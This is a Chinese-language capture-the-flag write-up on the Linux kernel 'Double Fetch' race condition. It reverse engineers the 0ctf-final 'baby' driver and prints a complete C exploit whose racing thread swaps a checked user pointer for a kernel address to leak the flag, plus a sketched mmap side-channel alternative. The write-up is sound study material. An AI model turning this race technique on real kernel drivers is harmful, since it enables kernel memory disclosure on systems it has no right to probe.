Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。
如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。
本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。
不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: sub_25+25↑r
.data:0000000000000480 ; sub_25+D6↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。
bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}
我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:
1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同
通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。
for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>int finish = 1;
struct message {
char *addr;
int len;
}data;
size_t flag_address = 0;
void read_flag_address() {
system("dmesg | grep flag > message.txt");
int fd = open("message.txt", O_RDWR);
char buf[0x60] = {0};
read(fd, buf, sizeof(buf));
size_t idx = strstr(buf, "at ") + 3;
sscanf(idx, "%llx", &flag_address);
printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
close(fd);
}
void evil_thread() {
while (finish == 1) {
data.addr = flag_address;
}
}
void main() {
pthread_t pthread;
int fd = open("/dev/baby", O_RDWR);
char buf[0x100] = {0};
ioctl(fd, 0x6666);
read_flag_address();
pthread_create(&pthread, NULL, evil_thread, NULL);
data.addr = buf;
data.len = 33;
for (int i = 0; i < 0x1000; i++) {
ioctl(fd, 0x1337, &data);
data.addr = buf;
}
finish = 0;
pthread_join(pthread, NULL);
system("dmesg | grep flag");
close(fd);
}
使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。
gcc -pthread -g -static -masm=intel -o exp exp.c
Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。